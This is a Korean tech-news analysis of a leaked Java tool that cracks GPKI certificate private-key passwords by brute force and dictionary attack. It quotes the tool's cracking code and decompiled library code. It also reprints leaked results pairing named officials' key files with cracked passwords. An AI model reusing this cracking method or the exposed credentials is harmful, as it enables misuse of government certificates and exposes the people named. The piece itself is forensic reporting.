데프콘 : GPKI 패스워드 크랙(세부버전)

데프콘 : GPKI 패스워드 크랙(세부버전)
[이미지: AI Generated by TheTechEdge]
💡
Editor Pick
- 데프콘 : GPKI 패스워드 크랙의 세부 내용 버전 공개

기초자료

GPKI 인증서 관련 파일에 대해 논한 글에서 이미 제시했지만 관련 파일들 목록을 다시 살필 필요성이 있어 표를 다시 가져왔다.

파일명 설명 생성일
allzip.sh gkpi20200425 하위에 있는 ZIP 파일의 압축해제
5초마다 zip 파일 확인 2016.04.27
allzipex.sh gpki_cert 폴더의 모든 .egg 파일을 찾아 압축해제하여 gpki_cert/egg에 저장 2016.04.22
cert.iml IntelliJ IDEA 모듈 설정 파일 2025.04.21
dict/pass.txt 한글 패스워드 사전 파일 2020.05.25
dict/pass1.txt 패스워드 2개 저장 2020.06.08
dict/passwd.txt 패스워드 사전 파일 2016.04.20
extracted-key-20200512/*_env.cer 공개키 2019.05.09
extracted-key-20200512/*_env.key 개인키 2019.05.09
extracted-key-20200512/*_sig.cer 공개키(서명) 2019.05.09
extracted-key-20200512/*_sig.key 개인키(서명) 2019.05.09
gpkiapi.lic GPKI 표준 API 모듈 사용을 위한 라이센스 파일 2017.11.01
gpkiapi.lic.bak GPKI 표준 API 모듈 사용을 위한 라이센스 파일 백업으로 추정 2018.02.08
korear.kr_plain_text_password.txt 한글 패스워드 사전 파일(20.892) 2020.04.23
lib/bcpkix-jdk15to18-165.jar PKI 및 암호화 관련 기능을 사용하기 위해 필요한 Bouncy Castle 라이브러리 버전 1.65 2020.04.20
lib/bcprov-ext-jdk15to18-165.jar 암호화 알고리즘이 추가된 확장 모듈 2020.04.20
lib/gpkisecureweb-1.0.6.3.jar GPKI 표준 웹보안 API를 위한 자바 라이브러리 파일 2017.11.06
lib/jline-terminal-3.2.0.jar JLine 라이브러리의 모듈 2020.05.11
lib/joda-time-2.10.6.jar 자바에서 날짜와 시간을 다루기 위해 사용되는 Joda-Time 라이브러리의 파일 2020.05.11
lib/libgpkiapi_jni.jar GPKI 표준보안 API를 자바 언어로 호출하기 위한 JNI 라이브러리 2011.08.18
pass1.txt 후보 패스워드 사전 파일(18개) 2020.05.13
passes.txt 후보 패스워드 사전 파일(40,600개) 2016.04.23
results.txt GPKI Crack 결과 파일 2016.05.13
/src GPKI Crack Source Code 2025.05.28

GPKI 관련 파일들

이번 글의 시작점이 된 것은 바로 results.txt파일로 내용을 살펴보면 키 파일의 경로와 패스워드가 저장되어 있다는 것을 알 수 있다. 일반적으로 존재하는 파일은 아니며 누군가가 목적성을 갖고 만든 파일이라는 것을 알 수 있다. 그리고 이 파일의 내용을 일부인 “Key : “라는 문자열을 검색하면 Java 소스코드와 연결되는 것을 알 수 있다. 그렇다면 results.txt 파일과 Java 소스코드에 대해 살펴봐야 한다.

Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_env.key Password $cys13640229
Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_sig.key Password kla53128099*
Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_sig.key Password !jinhee1650!
Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_sig.key Password $cys13640229
Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_env.key Password ssa9514515!!
Key: /home/user/Downloads/cert/gkpi20200425/GPKI/Certificate/class2/136박정욱001_env.key Password kla53128099*
Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_sig.key Password ssa9514515!!

상황이 너무 뻔히 보이는 상황이므로 결론부터 언급하자면 /work/home/user/Downloads/cert/src 하위 파일들은 GPKI 인증서를 크랙하기 위해 Java로 개발된 응용프로그램의 소스코드이다.

파일명 설명 생성일
cert.java 사전 파일을 읽고 인증서 크랙 2016.09.18
CertCracker.java Thread 기반으로 Cracker 실행 2020.05.10
Cracker.java 전수조사 공격 기반 인증서 크랙 2020.05.10
DictCracker.java 사전 공격 기반 인증서 크랙 2016.05.13
EncryptedData.java 데이터 암호 처리 관련 클래스 2025.04.14
single.java 인증서 크랙 결과 단일 검증 클래스 2025.04.21
single_bak.java SEED/CBC 암호문 복호화 테스트 2015.01.21

위 표에 있는 파일 중, 중요 파일 몇 가지를 세부적으로 확인한다. 각각의 파일을 살펴보면 GPKI 인증서를 크랙하기 위해 전수조사(Brute-force Attack)와 사전 공격(Dictionary Attack) 할 수 있도록 구현되어 있다는 것을 알 수 있다. 전수조사를 위한 코드는 Cracker.java에서 사전 공격을 위한 코드는 DictCracker.java에서 확인할 수 있다.

Cracker.java

Cracker.java 는 Runnable 클래스로 재귀 메소드 generate(StringBuilder sb, int n) 이용해 ALPHABET에서 정의한 문자로 가능한 후보 패스워드를 생성한다. 이 후보 패스워드를 사용하여 dec 메소드를 호출하고 이때 전달하는 인자는 생성한 후보 패스워드 passwd와 인증서 경로를 가르키는 srcPath 이다. Cracker.java에서는 srcPathgpki_cert 라는 경로를 전달한다. dec 메소드에서는 srcPath를 기반으로 .key 파일을 확인하고 패스워드를 담은 passwd와 key 파일의 절대 경로를 사용하여 GapiDec라는 메소드를 호출한다.

public static void dec(String passwd, String srcPath) {
    File file = new File(srcPath);
    int foldeNum = 0;
    if (file.exists() && file.isDirectory()) {
        LinkedList<File> list = new LinkedList<>();
        File[] files = file.listFiles();
        for (File file2 : files) {
            if (file2.isFile()) {
                Path p = Paths.get(file2.getAbsolutePath());
                String file_1 = p.getFileName().toString();
                if (file_1.endsWith(".key")) {
                    GapiDec(passwd, file2.getAbsolutePath());
                }
            } else {
                list.add(file2);
                foldeNum++;
                dec(passwd, file2.getAbsolutePath());
            }
        }
    } else if (file.exists() && file.isFile()) {
        Path p = Paths.get(file.getAbsolutePath());
        String file_1 = p.getFileName().toString();
        if (file_1.endsWith(".key")) {
            GapiDec(passwd, file.getAbsolutePath());
        }

    }
}

GapiDec 함수는 다음과 같으며 내부에서 Disk.readPriKey라는 메소드를 호출하는데, GapiDec 함수가 받은 인자들의 전달 순서만 바꿔서 호출한다.

public static void GapiDec(String passwd, String srcPath) {
        try {
            GpkiApi.init(".");
            PrivateKey priKey = Disk.readPriKey(srcPath, passwd);
            System.out.println("Key: " + srcPath + " " + "Password " + passwd);
        } catch (Exception ignored) {
            System.out.print(ignored.getMessage());
//            if (ignored.getMessage().contains("1301")) {
//                System.out.println(srcPath);
//                System.out.println(ignored.getMessage());
//            }
        }
    }

Disk.readPriKey라는 함수는 Cracker.java에서 확인할 수 없으며 com.gpki.gpkiapi.storage 패키지 내에서 확인해야 한다. com.gpki.gpkiapi.storage 패키지는 libgpkiapi_jni_jar 파일에서 확인할 수 있다. Jar 내에 선언되어 있으므로 Decompile 통해 코드를 확인하면 다음고 같다. 전반적인 코드를 살펴보면 readPrikey 메소드는 GapiDec에서 확인할 수 있듯이 paramString1는 Key 파일의 경로, paramString2는 패스워드를 인자로 받고 pkcs5.decrypt 메소드를 호출한다. 메소드 명에서 이제 확실한 윤곽이 잡히는 상황이다. PKCS5를 사용하여 키 파일을 보호하고 있으며 이를 복호화하겠다는 것을 의미한다.

Disk.readPriKey라는 함수는 Cracker.java에서 확인할 수 없으며 com.gpki.gpkiapi.storage 패키지 내에서 확인해야 한다. com.gpki.gpkiapi.storage 패키지는 libgpkiapi_jni_jar 파일에서 확인할 수 있다. Jar 내에 선언되어 있으므로 Decompile 통해 코드를 확인하면 다음고 같다. 전반적인 코드를 살펴보면 readPrikey 메소드는 GapiDec에서 확인할 수 있듯이 paramString1는 Key 파일의 경로, paramString2는 패스워드를 인자로 받고 pkcs5.decrypt 메소드를 호출한다. 메소드 명에서 이제 확실한 윤곽이 잡히는 상황이다. PKCS5를 사용하여 키 파일을 보호하고 있으며 이를 복호화하겠다는 것을 의미한다.

/*     */ package com.gpki.gpkiapi.storage;
/*     */ 
/*     */ import com.gpki.gpkiapi.cert.X509Certificate;
/*     */ import com.gpki.gpkiapi.crypto.PrivateKey;
/*     */ import com.gpki.gpkiapi.exception.GpkiApiException;
/*     */ import com.gpki.gpkiapi.pkcs.Pkcs5;
/*     */ import java.io.File;
/*     */ import java.io.FileInputStream;
/*     */ import java.io.FileOutputStream;
/*     */ import java.io.FileWriter;
/*     */ import java.io.PrintWriter;
/*     */ 
/*     */ public class Disk {
/*     */   public static byte[] read(String paramString) throws GpkiApiException {
/*  34 */     if (paramString == null || paramString.length() == 0)
/*  35 */       throw new GpkiApiException("The path is empty. You must input a value for it."); 
/*  38 */     byte[] arrayOfByte = null;
/*     */     try {
/*  42 */       File file = new File(paramString);
/*  43 */       arrayOfByte = new byte[(int)file.length()];
/*  45 */       FileInputStream fileInputStream = new FileInputStream(paramString);
/*  46 */       fileInputStream.read(arrayOfByte);
/*  47 */       fileInputStream.close();
/*     */     } catch (Exception exception) {
/*  51 */       throw new GpkiApiException(exception.getMessage());
/*     */     } 
/*  54 */     return arrayOfByte;
/*     */   }
/*     */   
...
...
...
/*     */   public static PrivateKey readPriKey(String paramString1, String paramString2) throws GpkiApiException {
/* 191 */     if (paramString1 == null || paramString1.length() == 0)
/* 192 */       throw new GpkiApiException("The path is empty. You must input a value for it."); 
/* 194 */     if (paramString2 == null || paramString2.length() == 0)
/* 195 */       throw new GpkiApiException("The passwd is empty. You must input a value for it."); 
/* 198 */     byte[] arrayOfByte = read(paramString1);
/* 200 */     Pkcs5 pkcs5 = new Pkcs5();
/* 201 */     return pkcs5.decrypt(arrayOfByte, paramString2);
/*     */   }
/*     */   
...
...
...
/*     */   }
/*     */ }

/* Location:              /work/home/user/Downloads/cert/lib/libgpkiapi_jni.jar!/com/gpki/gpkiapi/storage/Disk.class
 * Java compiler version: 1 (45.3)
 * JD-Core Version:       1.1.3
 */

Pkcs5 클래스의 decrypt 메소드를 보면 내부적으로 PRIKEY_Decrypt 메소드를 호출하고 메소드가 정상적으로 실행되면 개인키를 리턴한다. 이는 패스워드가 맞다면 정상적인 복호화가 가능하고 이는 개인키 파일을 사용할 수 있는 패스워드를 획득했다는 의미이다.

/*    */ package com.gpki.gpkiapi.pkcs;
/*    */ 
/*    */ import com.gpki.gpkiapi.crypto.Algorithm;
/*    */ import com.gpki.gpkiapi.crypto.PrivateKey;
/*    */ import com.gpki.gpkiapi.exception.GpkiApiException;
/*    */ import com.gpki.gpkiapi_jni;
/*    */ 
/*    */ public class Pkcs5 {
/* 19 */   private gpkiapi_jni gpkiapi = new gpkiapi_jni();
/*    */   
/*    */   public byte[] encrypt(PrivateKey paramPrivateKey, String paramString1, String paramString2) throws GpkiApiException {
/* 37 */     if (paramPrivateKey == null)
/* 38 */       throw new GpkiApiException("The priKey is empty. You must input a value for it."); 
/* 39 */     if (paramString1 == null || paramString1.length() == 0)
/* 40 */       throw new GpkiApiException("The passwd is empty. You must input a value for it."); 
/* 41 */     if (paramString2 == null || paramString2.length() == 0)
/* 42 */       throw new GpkiApiException("The algorithm is empty. You must input a value for it."); 
/* 44 */     int i = Algorithm.getSecretKeyAlg(paramString2);
/* 46 */     if (this.gpkiapi.PRIKEY_Encrypt(Algorithm.code2id(i), paramString1, paramPrivateKey.getKey()) > 0)
/* 47 */       throw new GpkiApiException(this.gpkiapi.sDetailErrorString); 
/* 49 */     return this.gpkiapi.baReturnArray;
/*    */   }
/*    */   
/*    */   public PrivateKey decrypt(byte[] paramArrayOfbyte, String paramString) throws GpkiApiException {
/* 62 */     if (paramArrayOfbyte == null || paramArrayOfbyte.length == 0)
/* 63 */       throw new GpkiApiException("The encPriKey is empty. You must input a value for it."); 
/* 64 */     if (paramString == null || paramString.length() == 0)
/* 65 */       throw new GpkiApiException("The passwd is empty. You must input a value for it."); 
/* 67 */     if (this.gpkiapi.PRIKEY_Decrypt(paramString, paramArrayOfbyte) > 0)
/* 68 */       throw new GpkiApiException(this.gpkiapi.sDetailErrorString); 
/* 70 */     return new PrivateKey(this.gpkiapi.baReturnArray);
/*    */   }
/*    */ }

/* Location:              /work/home/user/Downloads/cert/lib/libgpkiapi_jni.jar!/com/gpki/gpkiapi/pkcs/Pkcs5.class
 * Java compiler version: 1 (45.3)
 * JD-Core Version:       1.1.3
 */

Pkcs5 클래스의 PRIKEY_Decrypt 메소드 호출 시, 패스워드가 맞지 않다면 GpkiApiException 이 발생할 것이고 그렇지 않으면 새로운 후보 패스워드를 인자로 받아 dec 메소드 - GapiDec 메소드 순서로 코드를 실행한다. GapiDec에 전달한 후보 패스워드가 맞다면 GapiDec 메소드에서 알 수 있듯이 Exception 발생하지 않고 화면에 키 파일의 경로와 확인한 패스워드를 출력하고 코드는 종료한다.

System.out.println("Key: " + srcPath + " " + "Password " + passwd);

DictCracker.java

DictCracker.javaCracker.java 와 동일한 Runnable 클래스로 DictCracker.java의 내용을 파악하기 위해서는 DictCracker.java를 사용하는 cert.java 파일을 살펴봐야 한다. cert.java 파일을 보면ExecutorService를 통해 DictCracker 클래스의 run 메소드를 호출한다. 이 때, ArrayList s라고 선언된 ArrayList를 사용하는데 s라는 인자가 pass.txt 파일로부터 받은 후보 패스워드들을 저장하고 있다.

DictCracker.javaCracker.java 와 동일한 Runnable 클래스로 DictCracker.java의 내용을 파악하기 위해서는 DictCracker.java를 사용하는 cert.java 파일을 살펴봐야 한다. cert.java 파일을 보면ExecutorService를 통해 DictCracker 클래스의 run 메소드를 호출한다. 이 때, ArrayList s라고 선언된 ArrayList를 사용하는데 s라는 인자가 pass.txt 파일로부터 받은 후보 패스워드들을 저장하고 있다.

String dictPath = "/home/user/Downloads/cert/dict/pass.txt";
ArrayList<String> passwords = new ArrayList<>();
START_TIME = System.currentTimeMillis();

int cores = Runtime.getRuntime().availableProcessors()/2;
try {
    File file = new File(dictPath);
    if (!file.exists()) {
        System.out.println("dict file not exsit");
    }
    InputStreamReader inputStreamReader = new InputStreamReader(new FileInputStream(file));
    BufferedReader bf = new BufferedReader(inputStreamReader);
    String str;
    while ((str = bf.readLine()) != null) {
        passwords.add(str);
    }
    bf.close();
    inputStreamReader.close();
} catch (Exception e) {

}
ProgressBar pb = new ProgressBar("Task", passwords.size());
ArrayList s = splitArray(passwords, passwords.size() / cores);

다시 DictCracker.java 로 돌아와서 코드 흐름을 살펴보면 cert.java로부터 전달받은 후보 패스워드(pass.txt 파일에서 추출)들을 하나씩 사용하여 dec 메소스를 호출하고 dec 메소드는 내부적에서 Gapidec 메소드를 호출하여 인증서를 크랙한다. 결국 코드의 흐름은 Cracker.java에서 확인한 메소드 호출 순서와 동일하다. 차이점은 Cracker.java에서는 generate 메소드를 통해 후보 패스워드를 생성했다면 DictCracker.java에서는 pass.txt 파일을 사용한 사전 공격을 수행한다는 것이다. DictCracker.java 에서도 Cracker.java 와 동일하게 다음과 같은 코드를 확인할 수 있다.

System.out.println("Key: " + srcPath + " " + "Password " + passwd);

Results.txt

DictCracker.javaCracker.java 에 대한 설명 마지막 부분에 println 코드를 보면 문득 떠오르는 파일이 하나 있다. 앞서 언급했던 results.txt파일이다. results.txt 파일을 보면 아래 그림과 같이 위 코드 실행결과를 txt 파일로 저장했다는 것을 알 수 있다.

💡
results.txt 파일에 저장된 내용을 검증하는 일도 필요할 수 있지만 코드 실행에 필요한 라이브러리들이 32bit이므로 이 글을 쓰고 있는 Apple M1 위에서 검증하기에는 불편함이 있어 직접적인 검증은 이후로 미룬다.

분석 결과 총평

정적으로 코드의 내용을 분석하고 파일로 남아 있는 결과를 있는 그대로 해석했다. 남아 있는 파알 내용으로만 보자면 어떠한 경로인지 알 수 없으나 GPKI 인증서 유출이 있었으며 인증서를 사용하기 위해 누군가가 크랙을 시도했다는 것이다. 그리고 크랙 시도 결과가 저장된 파일이 있었다는 것이다. 이 부분에서 공격자가 유출된 파일 그대로 활용하려 하지 않고 파일을 보다 적극적으로 활용하기 위해 노력한다는 점을 생각해봐야 한다.

유출된 파일들이 어떤 내용을 담고 있으며 그 파일만의 표면적 내용으로 “어떤 행위가 가능하다 가능하지 않다”를 언급하곤 한다. 예를 들어 암호화되어 있으니 안전하다거나 해시 처리 했으므로 안전하다는 것이 대표적이다. GPKI 크랙과 같이 공격자는 필요하면 암호화된 데이터를 복호화하려고 노력할 것이며 해시 처리된 데이터를 찾기 위해 다시 크랙을 시도할 것이다. 사실 암호화는 복호화를 할 수 있는 방법이 있으며 해시 함수는 그 입력이 무엇인가에 따라 크랙의 가능성이 열려 있다.

사실 모든 내용을 있는 그대로 해석하고 논리적으로 판단해야한다. 과도한 추론과 망상까지 이어지면 안된다. 그러나 공격자는 망상까지는 아니지만 할 수 있다 판단하는 행위는 GPKI 인증서와 같이 얼마든지 시도한다는 것이다. 그렇다면 대응의 방식과 범위에 대해서도 지금과는 다르게 바라봐야 한다는 결론에 도달할 것이다. 눈에 보이는 보여주기 위한 노력보다는 과하지 않으며 논리적이고 합리적인 보다 의미있고 확실한 대응을 위해 조금 더 깊이 있는 논의가 이어졌으면 한다.


데프콘 : APT 역추적 이슈에 대한 고찰 (1)
💡Editor’s Pick - 사실은 한국이 발칵 뒤집혔어야 할 사건 - 이런 사건이 흐지부지 묻힌다는 게 놀랄노자 - 이 사건을 통해 고찰해봄직 한 것들 윤리적 해킹 = 뜨거운 ‘아아’? 지금은 기억이 가물가물한 수년 전 어느 보안 행사에서의 일이다. 한 보안 전문가께서 기조 연설을 하시다가 ‘윤리적 해킹’이라는 표현 자체를 신랄하게 비판하셨다. 해킹이라는
데프콘 : APT 역추적 이슈에 대한 고찰 (2)
💡Editor’s Pick - 데프콘에서 공개된 한국 정부와 기업들의 자료 - 정작 한국에서는 ‘누구 짓이냐’로만 뜨거워지는 분위기 - 범인 지목은 사이버 사건 해결에서 최우선 과제가 아냐 세이버(Saber)와 사이보그(Cyb0rg)라는 두 명의 화이트 해커가 데프콘에서 한 APT 조직의 컴퓨터에서 캐낸 정보를 대량으로 공개했을 때, 한국 보안 업계는 커다란 충격을
데프콘 : pass.txt 파일 세부 내용 분석
💡Editor Pick - pass.txt 에 저장된 문자열 한글 자판 기준으로 변환 가능 - 한글 변환한 패스워드 통해 한글 기반 패스워드 패턴 파악 가능 - pass.txt 파일의 용도 파악과 대응 방안 한국에는 유독 특별한 행사였던 2025년 데프콘(DEF CON 33)이 마무리 된 지 벌써 2개월이 넘어가는 시점이다. 이

Read more

영국 군, 내년도에 대규모 이스포츠 대회 연다?

영국 군, 내년도에 대규모 이스포츠 대회 연다?

💡Editor's Pick for Juniors - 영국 군, 40개 동맹국과 함께 이스포츠 대회 열어 - 내년도에 있을 대규모 워게임 훈련...게임 하듯 진행 - 러우 전쟁 치르는 우크라이나 군에서 많은 아이디어 얻어온 듯 Juniors! 안녕! 테크를 가장 날카롭고 가치 있게 읽어주는 더테크엣지 아빠들이야. 영국 군이 내년에 국제적인 규모의 군사

By 문가용 기자
파일 이름 검색 도구 글롭에서 고위험군 취약점 나와

파일 이름 검색 도구 글롭에서 고위험군 취약점 나와

💡Editor's Pick - 개발자들이 널리 사용하는 도구 글롭 - 그 글롭의 명령행 인터페이스에서 취약점 발견돼 - 파일 이름이 공격 도구로 전환돼 개발자들이 흔히 사용하는 오픈소스 패키지인 글롭(glob)에서 위험한 취약점이 발견됐다. 일반 사용자들이 직접 사용할 일은 거의 없어 대중적으로 낯선 이름이지만, 개발자들은 이를 활용해 여러 가지 도구와

By 문가용 기자
삼성 갤럭시 A와 M 시리즈에 선탑재된 스파이웨어 논란

삼성 갤럭시 A와 M 시리즈에 선탑재된 스파이웨어 논란

💡Editor's Pick for Juniors - 삼성 저가형 스마트폰 시리즈에서 발견된 앱클라우드 앱 - 사실은 지는 여름부터 지적돼 온 스파이웨어 - 이런 스마트폰 문제 쉽게 해결되지 않아...소비자 훈련이 더 중요 Youngsters! 테크를 가장 날카롭고 가치 있게 읽어주는 더테크엣지 아빠들이야. 한국을 대표하는 회사인 삼성에서 프라이버시 침해 논란이 일어났어. 삼성이

By 문가용 기자